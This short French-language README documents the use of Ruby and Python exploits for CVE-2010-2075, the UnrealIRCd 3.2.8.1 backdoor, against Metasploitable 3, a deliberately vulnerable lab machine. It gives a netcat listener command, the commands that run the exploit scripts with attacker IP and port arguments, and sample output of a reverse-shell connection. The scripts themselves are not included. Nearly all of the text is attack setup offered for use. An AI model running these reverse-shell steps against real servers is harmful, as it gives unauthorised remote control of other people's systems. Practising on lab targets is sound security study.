
Exploit Ruby et Python pour CVE-2010-2075 ciblant UnrealIRCd 3.2.8.1, fournissant un accès de reverse shell distant sur Metasploitable 3.
Sur le shell de l'attaquant
nc -nlvp 1111
Sur le shell de la victime
ruby exploit.rb 127.0.0.1
Sortie attendue sur le shell de l'attaquant
listening on [any] 1111 ...
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.105] 48144
boba_fett
Sur le shell de la victime
python3 exploit.py -ri 127.0.0.1 -rp 6697 -cmd <command> -li <attacker_ip> -lp <attacker_port>
Sur le shell de l'attaquant
nc -nlvp 1111